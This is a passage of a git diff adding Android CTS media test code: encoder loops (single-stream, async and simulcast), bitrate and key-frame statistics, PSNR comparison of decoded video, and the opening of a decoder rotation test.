+                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
+        MediaEncoderAsync codec = new MediaEncoderAsync();
+        codec.createCodec(0, properties.codecName, format,
+                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+
+        // encode loop
+        boolean sawInputEOS = false;  // no more data
+        boolean consumedInputEOS = false; // EOS flag is consumed dy encoder
+        boolean sawOutputEOS = false;
+        boolean inputConsumed = true;
+        int inputFrameIndex = 0;
+        int lastBitrate = bitrate;
+        int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+        byte[] srcFrame = new byte[srcFrameSize];
+
+        while (!sawOutputEOS) {
+
+            // Read and feed input frame
+            if (!consumedInputEOS) {
+
+                // Read new input buffers - if previous input was consumed and no EOS
+                if (inputConsumed && !sawInputEOS) {
+                    int bytesRead = yuvStream.read(srcFrame);
+
+                    // Check EOS
+                    if (streamParams.frameCount > 0 && inputFrameIndex >= streamParams.frameCount) {
+                        sawInputEOS = true;
+                        Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+                    }
+
+                    if (!sawInputEOS && bytesRead == -1) {
+                        if (streamParams.frameCount == 0) {
+                            sawInputEOS = true;
+                            Log.d(TAG, "---Sending EOS empty frame for frame # " + inputFrameIndex);
+                        } else {
+                            yuvStream.close();
+                            yuvStream = OpenFileOrResource(
+                                    streamParams.inputYuvFilename, streamParams.inputResource);
+                            bytesRead = yuvStream.read(srcFrame);
+                        }
+                    }
+
+                    // Force sync frame if syncForceFrameinterval is set.
+                    if (!sawInputEOS && inputFrameIndex > 0 &&
+                            streamParams.syncForceFrameInterval > 0 &&
+                            (inputFrameIndex % streamParams.syncForceFrameInterval) == 0) {
+                        Log.d(TAG, "---Requesting sync frame # " + inputFrameIndex);
+                        codec.forceSyncFrame();
+                    }
+
+                    // Dynamic bitrate change.
+                    if (!sawInputEOS && streamParams.bitrateSet.length > inputFrameIndex) {
+                        int newBitrate = streamParams.bitrateSet[inputFrameIndex];
+                        if (newBitrate != lastBitrate) {
+                            Log.d(TAG, "--- Requesting new bitrate " + newBitrate +
+                                    " for frame " + inputFrameIndex);
+                            codec.updateBitrate(newBitrate);
+                            lastBitrate = newBitrate;
+                        }
+                    }
+
+                    // Convert YUV420 to NV12 if necessary
+                    if (properties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                        srcFrame = YUV420ToNV(streamParams.frameWidth, streamParams.frameHeight,
+                                srcFrame);
+                    }
+                }
+
+                inputConsumed = codec.feedInput(srcFrame, sawInputEOS);
+                if (inputConsumed) {
+                    inputFrameIndex++;
+                    consumedInputEOS = sawInputEOS;
+                }
+            }
+
+            // Get output from the encoder
+            MediaEncoderOutput out = codec.getOutput();
+            if (out.outputGenerated) {
+                // Detect output EOS
+                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "----Output EOS ");
+                    sawOutputEOS = true;
+                }
+                if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    Log.d(TAG, "Storing codec config separately");
+                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                    csdBuffer.rewind();
+                    codecConfigs.add(csdBuffer);
+                    out.buffer = new byte[0];
+                }
+
+                if (out.buffer.length > 0) {
+                    // Save frame
+                    ivf.writeFrame(out.buffer, out.outPresentationTimeUs);
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = out.inPresentationTimeUs -
+                            out.outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                            out.outPresentationTimeUs, out.flags);
+                    bufferInfos.add(bufferInfoCopy);
+                }
+            }
+
+            // If codec is not ready to accept input/poutput - wait for buffer ready callback
+            if ((!inputConsumed || consumedInputEOS) && !out.outputGenerated) {
+                codec.waitForBufferEvent();
+            }
+        }
+
+        codec.deleteCodec();
+        ivf.close();
+        yuvStream.close();
+
+        return new VideoEncodeOutput(bufferInfos, encStatInfo);
+    }
+
+    /**
+     * Video encoding run in a looper thread and use buffer ready callbacks.
+     *
+     * Output stream is described by encodingParams parameters.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever video encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param streamParams  Structure with encoder parameters
+     * @param codecConfigs  List to be filled with codec config buffers
+     * @return              Returns VideoEncodeOutput, which consists of
+     *                      array of encoded frames information for each frame and Encoding
+     *                      Statistics Information.
+     */
+    protected VideoEncodeOutput encodeAsync(
+            EncoderOutputStreamParameters streamParams,
+            ArrayList<ByteBuffer> codecConfigs) throws Exception {
+        if (!streamParams.runInLooperThread) {
+            throw new RuntimeException("encodeAsync should run with a looper thread!");
+        }
+
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+        EncodingStatisticsInfo encStatInfo = new EncodingStatisticsInfo();
+        Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+                streamParams.frameHeight);
+        int bitrate = streamParams.bitrateSet[0];
+
+        // Create minimal media format signifying desired output.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                streamParams.codecMimeType, streamParams.frameWidth,
+                streamParams.frameHeight);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        CodecProperties properties = getEncoderProperties(streamParams.codecName, format);
+
+        // Open input/output
+        IvfWriter ivf = new IvfWriter(
+                streamParams.outputIvfFilename, streamParams.codecMimeType,
+                streamParams.frameWidth, streamParams.frameHeight);
+
+        // Create a media format signifying desired output.
+        if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+            format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+        }
+        if (streamParams.temporalLayers > 0) {
+            format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+        }
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+        int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+                streamParams.frameRate;
+        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+        if (streamParams.encodingStatisticsLevel !=
+                MediaFormat.VIDEO_ENCODING_STATISTICS_LEVEL_NONE) {
+            format.setInteger(MediaFormat.KEY_VIDEO_ENCODING_STATISTICS_LEVEL,
+                    MediaFormat.VIDEO_ENCODING_STATISTICS_LEVEL_1);
+        }
+        // Create encoder
+        Log.d(TAG, "Creating encoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                streamParams.frameWidth + " x " + streamParams.frameHeight +
+                ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+                ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+                ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+                ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  Output ivf:" + streamParams.outputIvfFilename);
+
+        MediaEncoderAsync codec = new MediaEncoderAsync();
+        MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
+                streamParams, properties, bufferInfos, ivf, codecConfigs, encStatInfo);
+
+        codec.setAsyncHelper(helper);
+        codec.createCodec(0, properties.codecName, format,
+                streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+        codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
+
+        codec.deleteCodec();
+        ivf.close();
+
+        return new VideoEncodeOutput(bufferInfos, encStatInfo);
+    }
+
+    /**
+     * Video encoding loop supporting encoding multiple streams at a time.
+     * Each output stream is described by encodingParams parameters allowing
+     * simultaneous encoding of various resolutions, bitrates with an option to
+     * control key frame and dynamic bitrate for each output stream indepandently.
+     *
+     * MediaCodec will raise an IllegalStateException
+     * whenever video encoder fails to encode a frame.
+     *
+     * Color format of input file should be YUV420, and frameWidth,
+     * frameHeight should be supplied correctly as raw input file doesn't
+     * include any header data.
+     *
+     * @param srcFrameWidth     Frame width of input yuv file
+     * @param srcFrameHeight    Frame height of input yuv file
+     * @param encodingParams    Encoder parameters
+     * @param codecConfigs      List to be filled with codec config buffers
+     * @return                  Returns 2D array of encoded frames information for each stream and
+     *                          for each frame.
+     */
+    protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
+            int srcFrameWidth,
+            int srcFrameHeight,
+            ArrayList<EncoderOutputStreamParameters> encodingParams,
+            ArrayList<ArrayList<ByteBuffer>> codecConfigs) throws Exception {
+        int numEncoders = encodingParams.size();
+
+        // Create arrays of input/output, formats, bitrates etc
+        ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
+                new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
+        InputStream yuvStream[] = new InputStream[numEncoders];
+        IvfWriter[] ivf = new IvfWriter[numEncoders];
+        FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
+        MediaFormat[] format = new MediaFormat[numEncoders];
+        MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
+        int[] inputFrameIndex = new int[numEncoders];
+        boolean[] sawInputEOS = new boolean[numEncoders];
+        boolean[] consumedInputEOS = new boolean[numEncoders];
+        boolean[] inputConsumed = new boolean[numEncoders];
+        boolean[] bufferConsumed = new boolean[numEncoders];
+        boolean[] sawOutputEOS = new boolean[numEncoders];
+        byte[][] srcFrame = new byte[numEncoders][];
+        boolean sawOutputEOSTotal = false;
+        boolean bufferConsumedTotal = false;
+        CodecProperties[] codecProperties = new CodecProperties[numEncoders];
+
+        numEncoders = 0;
+        for (EncoderOutputStreamParameters params : encodingParams) {
+            int i = numEncoders;
+            Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
+                    params.frameHeight);
+            int bitrate = params.bitrateSet[0];
+
+            // Create minimal media format signifying desired output.
+            format[i] = MediaFormat.createVideoFormat(
+                    params.codecMimeType, params.frameWidth,
+                    params.frameHeight);
+            format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+            CodecProperties properties = getEncoderProperties(params.codecName, format[i]);
+
+            // Check if scaled image was created
+            int scale = params.frameWidth / srcFrameWidth;
+            if (!mScaledImages.contains(scale)) {
+                // resize image
+                cacheScaledImage(params.inputYuvFilename, params.inputResource,
+                        srcFrameWidth, srcFrameHeight,
+                        params.scaledYuvFilename, params.frameWidth, params.frameHeight);
+                mScaledImages.add(scale);
+            }
+
+            // Create buffer info storage
+            bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
+
+            // Create YUV reader
+            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+
+            // Create IVF writer
+            ivf[i] = new IvfWriter(
+                    params.outputIvfFilename, params.codecMimeType,
+                    params.frameWidth, params.frameHeight);
+
+            // Frame buffer
+            int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
+            srcFrame[i] = new byte[frameSize];
+
+            // Create a media format signifying desired output.
+            if (params.bitrateType == VIDEO_ControlRateConstant) {
+                format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+            }
+            if (params.temporalLayers > 0) {
+                format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
+            }
+            format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+            format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
+            int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
+                    params.frameRate; // in sec
+            format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+            // Create encoder
+            Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
+                    ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+                    params.frameWidth + " x " + params.frameHeight +
+                    ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
+                    ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
+                    ". Key frame:" + syncFrameInterval * params.frameRate +
+                    ". Force keyFrame: " + params.syncForceFrameInterval);
+            Log.d(TAG, "  Format: " + format[i]);
+            Log.d(TAG, "  Output ivf:" + params.outputIvfFilename);
+
+            // Create encoder
+            codec[i] = new MediaEncoderAsync();
+            codec[i].createCodec(i, properties.codecName, format[i],
+                    params.timeoutDequeue, params.runInLooperThread, params.useNdk);
+            codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
+
+            inputConsumed[i] = true;
+            ++numEncoders;
+        }
+        if (numEncoders == 0) {
+            Log.i(TAG, "no suitable encoders found for any of the streams");
+            return null;
+        }
+
+        while (!sawOutputEOSTotal) {
+            // Feed input buffer to all encoders
+            for (int i = 0; i < numEncoders; i++) {
+                bufferConsumed[i] = false;
+                if (consumedInputEOS[i]) {
+                    continue;
+                }
+
+                EncoderOutputStreamParameters params = encodingParams.get(i);
+                // Read new input buffers - if previous input was consumed and no EOS
+                if (inputConsumed[i] && !sawInputEOS[i]) {
+                    int bytesRead = yuvStream[i].read(srcFrame[i]);
+
+                    // Check EOS
+                    if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
+                        sawInputEOS[i] = true;
+                        Log.d(TAG, "---Enc" + i +
+                                ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+                    }
+
+                    if (!sawInputEOS[i] && bytesRead == -1) {
+                        if (params.frameCount == 0) {
+                            sawInputEOS[i] = true;
+                            Log.d(TAG, "---Enc" + i +
+                                    ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+                        } else {
+                            yuvStream[i].close();
+                            yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+                            bytesRead = yuvStream[i].read(srcFrame[i]);
+                        }
+                    }
+
+                    // Convert YUV420 to NV12 if necessary
+                    if (codecProperties[i].colorFormat !=
+                            CodecCapabilities.COLOR_FormatYUV420Planar) {
+                        srcFrame[i] =
+                            YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
+                    }
+                }
+
+                inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
+                if (inputConsumed[i]) {
+                    inputFrameIndex[i]++;
+                    consumedInputEOS[i] = sawInputEOS[i];
+                    bufferConsumed[i] = true;
+                }
+
+            }
+
+            // Get output from all encoders
+            for (int i = 0; i < numEncoders; i++) {
+                if (sawOutputEOS[i]) {
+                    continue;
+                }
+
+                MediaEncoderOutput out = codec[i].getOutput();
+                if (out.outputGenerated) {
+                    bufferConsumed[i] = true;
+                    // Detect output EOS
+                    if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        Log.d(TAG, "----Enc" + i + ". Output EOS ");
+                        sawOutputEOS[i] = true;
+                    }
+                    if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                        Log.d(TAG, "----Enc" + i + ". Storing codec config separately");
+                        ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                        csdBuffer.rewind();
+                        codecConfigs.get(i).add(csdBuffer);
+                        out.buffer = new byte[0];
+                    }
+
+                    if (out.buffer.length > 0) {
+                        // Save frame
+                        ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
+
+                        // Update statistics - store presentation time delay in offset
+                        long presentationTimeUsDelta = out.inPresentationTimeUs -
+                                out.outPresentationTimeUs;
+                        MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                        bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                                out.outPresentationTimeUs, out.flags);
+                        bufferInfos.get(i).add(bufferInfoCopy);
+                    }
+                }
+            }
+
+            // If codec is not ready to accept input/output - wait for buffer ready callback
+            bufferConsumedTotal = false;
+            for (boolean bufferConsumedCurrent : bufferConsumed) {
+                bufferConsumedTotal |= bufferConsumedCurrent;
+            }
+            if (!bufferConsumedTotal) {
+                // Pick the encoder to wait for
+                for (int i = 0; i < numEncoders; i++) {
+                    if (!bufferConsumed[i] && !sawOutputEOS[i]) {
+                        codec[i].waitForBufferEvent();
+                        break;
+                    }
+                }
+            }
+
+            // Check if EOS happened for all encoders
+            sawOutputEOSTotal = true;
+            for (boolean sawOutputEOSStream : sawOutputEOS) {
+                sawOutputEOSTotal &= sawOutputEOSStream;
+            }
+        }
+
+        for (int i = 0; i < numEncoders; i++) {
+            codec[i].deleteCodec();
+            ivf[i].close();
+            yuvStream[i].close();
+            if (yuvScaled[i] != null) {
+                yuvScaled[i].close();
+            }
+        }
+
+        return bufferInfos;
+    }
+
+    /**
+     * Some encoding statistics.
+     */
+    protected class VideoEncodingStatistics {
+        VideoEncodingStatistics() {
+            mBitrates = new ArrayList<Integer>();
+            mFrames = new ArrayList<Integer>();
+            mKeyFrames = new ArrayList<Integer>();
+            mMinimumKeyFrameInterval = Integer.MAX_VALUE;
+        }
+
+        public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
+        public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
+        public int mAverageBitrate;         // Average stream bitrate.
+        public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
+        public int mAverageKeyFrameInterval; // Average key frame interval.
+        public int mMaximumKeyFrameInterval; // Maximum key frame interval.
+        public int mMinimumKeyFrameInterval; // Minimum key frame interval.
+    }
+
+    /**
+     * Calculates average bitrate and key frame interval for the encoded streams.
+     * Output mBitrates field will contain bitrate values for every second
+     * of the encoded stream.
+     * Average stream bitrate will be stored in mAverageBitrate field.
+     * mKeyFrames array will contain the position of key frames in the encoded stream and
+     * mKeyFrameInterval - average key frame interval.
+     */
+    protected VideoEncodingStatistics computeEncodingStatistics(int encoderId,
+            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+        VideoEncodingStatistics statistics = new VideoEncodingStatistics();
+
+        int totalSize = 0;
+        int frames = 0;
+        int framesPerSecond = 0;
+        int totalFrameSizePerSecond = 0;
+        int maxFrameSize = 0;
+        int currentSecond;
+        int nextSecond = 0;
+        String keyFrameList = "  IFrame List: ";
+        String bitrateList = "  Bitrate list: ";
+        String framesList = "  FPS list: ";
+
+
+        for (int j = 0; j < bufferInfos.size(); j++) {
+            MediaCodec.BufferInfo info = bufferInfos.get(j);
+            currentSecond = (int)(info.presentationTimeUs / 1000000);
+            boolean lastFrame = (j == bufferInfos.size() - 1);
+            if (!lastFrame) {
+                nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
+            }
+
+            totalSize += info.size;
+            totalFrameSizePerSecond += info.size;
+            maxFrameSize = Math.max(maxFrameSize, info.size);
+            framesPerSecond++;
+            frames++;
+
+            // Update the bitrate statistics if the next frame will
+            // be for the next second
+            if (lastFrame || nextSecond > currentSecond) {
+                int currentBitrate = totalFrameSizePerSecond * 8;
+                bitrateList += (currentBitrate + " ");
+                framesList += (framesPerSecond + " ");
+                statistics.mBitrates.add(currentBitrate);
+                statistics.mFrames.add(framesPerSecond);
+                totalFrameSizePerSecond = 0;
+                framesPerSecond = 0;
+            }
+
+            // Update key frame statistics.
+            if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                statistics.mKeyFrames.add(j);
+                keyFrameList += (j + "  ");
+            }
+        }
+        int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
+        duration = (duration + 500) / 1000;
+        statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
+        Log.d(TAG, "Statistics for encoder # " + encoderId);
+        // Calculate average key frame interval in frames.
+        int keyFrames = statistics.mKeyFrames.size();
+        if (keyFrames > 1) {
+            statistics.mAverageKeyFrameInterval =
+                    statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
+            statistics.mAverageKeyFrameInterval =
+                    Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
+            for (int j = 1; j < keyFrames; j++) {
+                int keyFrameInterval =
+                        statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
+                statistics.mMaximumKeyFrameInterval =
+                        Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
+                statistics.mMinimumKeyFrameInterval =
+                        Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
+            }
+            Log.d(TAG, "  Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
+                    ". Min: " + statistics.mMinimumKeyFrameInterval +
+                    ". Avg: " + statistics.mAverageKeyFrameInterval);
+        }
+        Log.d(TAG, "  Frames: " + frames + ". Duration: " + duration +
+                ". Total size: " + totalSize + ". Key frames: " + keyFrames);
+        Log.d(TAG, keyFrameList);
+        Log.d(TAG, bitrateList);
+        Log.d(TAG, framesList);
+        Log.d(TAG, "  Bitrate average: " + statistics.mAverageBitrate);
+        Log.d(TAG, "  Maximum frame size: " + maxFrameSize);
+
+        return statistics;
+    }
+
+    protected VideoEncodingStatistics computeEncodingStatistics(
+            ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+        return computeEncodingStatistics(0, bufferInfos);
+    }
+
+    protected ArrayList<VideoEncodingStatistics> computeSimulcastEncodingStatistics(
+            ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
+        int numCodecs = bufferInfos.size();
+        ArrayList<VideoEncodingStatistics> statistics = new ArrayList<VideoEncodingStatistics>();
+
+        for (int i = 0; i < numCodecs; i++) {
+            VideoEncodingStatistics currentStatistics =
+                    computeEncodingStatistics(i, bufferInfos.get(i));
+            statistics.add(currentStatistics);
+        }
+        return statistics;
+    }
+
+    /**
+     * Calculates maximum latency for encoder/decoder based on buffer info array
+     * generated either by encoder or decoder.
+     */
+    protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
+        int maxValue = 0;
+        for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
+            maxValue = Math.max(maxValue,  bufferInfo.offset);
+        }
+        maxValue = (maxValue + 500) / 1000; // mcs -> ms
+        return maxValue;
+    }
+
+    /**
+     * Decoding PSNR statistics.
+     */
+    protected class VideoDecodingStatistics {
+        VideoDecodingStatistics() {
+            mMinimumPSNR = Integer.MAX_VALUE;
+        }
+        public double mAveragePSNR;
+        public double mMinimumPSNR;
+    }
+
+    /**
+     * Calculates PSNR value between two video frames.
+     */
+    private double computePSNR(byte[] data0, byte[] data1) {
+        long squareError = 0;
+        assertTrue(data0.length == data1.length);
+        int length = data0.length;
+        for (int i = 0 ; i < length; i++) {
+            int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
+            squareError += diff * diff;
+        }
+        double meanSquareError = (double)squareError / length;
+        double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
+        return psnr;
+    }
+
+    /**
+     * Calculates average and minimum PSNR values between
+     * set of reference and decoded video frames.
+     * Runs PSNR calculation for the full duration of the decoded data.
+     */
+    protected VideoDecodingStatistics computeDecodingStatistics(
+            String referenceYuvFilename,
+            String referenceYuvRaw,
+            String decodedYuvFilename,
+            int width,
+            int height) throws Exception {
+        VideoDecodingStatistics statistics = new VideoDecodingStatistics();
+        InputStream referenceStream =
+                OpenFileOrResource(referenceYuvFilename, referenceYuvRaw);
+        InputStream decodedStream = new FileInputStream(decodedYuvFilename);
+
+        int ySize = width * height;
+        int uvSize = width * height / 4;
+        byte[] yRef = new byte[ySize];
+        byte[] yDec = new byte[ySize];
+        byte[] uvRef = new byte[uvSize];
+        byte[] uvDec = new byte[uvSize];
+
+        int frames = 0;
+        double averageYPSNR = 0;
+        double averageUPSNR = 0;
+        double averageVPSNR = 0;
+        double minimumYPSNR = Integer.MAX_VALUE;
+        double minimumUPSNR = Integer.MAX_VALUE;
+        double minimumVPSNR = Integer.MAX_VALUE;
+        int minimumPSNRFrameIndex = 0;
+
+        while (true) {
+            // Calculate Y PSNR.
+            int bytesReadRef = referenceStream.read(yRef);
+            int bytesReadDec = decodedStream.read(yDec);
+            if (bytesReadDec == -1) {
+                break;
+            }
+            if (bytesReadRef == -1) {
+                // Reference file wrapping up
+                referenceStream.close();
+                referenceStream =
+                        OpenFileOrResource(referenceYuvFilename, referenceYuvRaw);
+                bytesReadRef = referenceStream.read(yRef);
+            }
+            double curYPSNR = computePSNR(yRef, yDec);
+            averageYPSNR += curYPSNR;
+            minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
+            double curMinimumPSNR = curYPSNR;
+
+            // Calculate U PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curUPSNR = computePSNR(uvRef, uvDec);
+            averageUPSNR += curUPSNR;
+            minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
+
+            // Calculate V PSNR.
+            bytesReadRef = referenceStream.read(uvRef);
+            bytesReadDec = decodedStream.read(uvDec);
+            double curVPSNR = computePSNR(uvRef, uvDec);
+            averageVPSNR += curVPSNR;
+            minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
+            curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
+
+            // Frame index for minimum PSNR value - help to detect possible distortions
+            if (curMinimumPSNR < statistics.mMinimumPSNR) {
+                statistics.mMinimumPSNR = curMinimumPSNR;
+                minimumPSNRFrameIndex = frames;
+            }
+
+            String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
+                    frames, curYPSNR, curUPSNR, curVPSNR);
+            Log.v(TAG, logStr);
+
+            frames++;
+        }
+
+        averageYPSNR /= frames;
+        averageUPSNR /= frames;
+        averageVPSNR /= frames;
+        statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
+
+        Log.d(TAG, "PSNR statistics for " + frames + " frames.");
+        String logStr = String.format(Locale.US,
+                "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
+                averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
+        Log.d(TAG, logStr);
+        logStr = String.format(Locale.US,
+                "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
+                minimumYPSNR, minimumUPSNR, minimumVPSNR,
+                statistics.mMinimumPSNR, minimumPSNRFrameIndex);
+        Log.d(TAG, logStr);
+
+        referenceStream.close();
+        decodedStream.close();
+        return statistics;
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/VideoDecoderRotationTest.java b/tests/tests/media/codec/src/android/media/codec/cts/VideoDecoderRotationTest.java
new file mode 100644
index 0000000..5016d5b
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/VideoDecoderRotationTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.TestArgs;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+import android.util.Size;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+import org.junit.Test;
+
+/**
+ * Tests to check if MediaCodec decoding works with rotation.
+ */
+@SmallTest
+@RequiresDevice
+@NonMediaMainlineTest   // fails in windowing on pure older releases
+@RunWith(Parameterized.class)
+public class VideoDecoderRotationTest {
+    private static final String TAG = "VideoDecoderRotationTest";
+
+    private final EncodeVirtualDisplayWithCompositionTestImpl mImpl =
+            new EncodeVirtualDisplayWithCompositionTestImpl();
+
+    @Parameter(0)
+    public String mDecoderName;
+    @Parameter(1)
+    public String mMimeType;
+    @Parameter(2)
+    public Integer mDegrees;
+
+    private static final List<String> SUPPORTED_TYPES = Arrays.asList(
+            MediaFormat.MIMETYPE_VIDEO_AVC,
+            MediaFormat.MIMETYPE_VIDEO_HEVC,
+            MediaFormat.MIMETYPE_VIDEO_VP8,
+            MediaFormat.MIMETYPE_VIDEO_VP9,
+            MediaFormat.MIMETYPE_VIDEO_AV1);
+
+    @Parameters(name = "{0}:{1}:{2}")
+    public static Collection<Object[]> data() {
+        final List<Object[]> testParams = new ArrayList<>();
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (info.isAlias() || info.isEncoder()) {
+                continue;
+            }
+            String name = info.getName();
+            if (TestArgs.shouldSkipCodec(name)) {
+                continue;
+            }
+
+            for (String type : info.getSupportedTypes()) {
+                if (!SUPPORTED_TYPES.contains(type)) {
+                    continue;
+                }
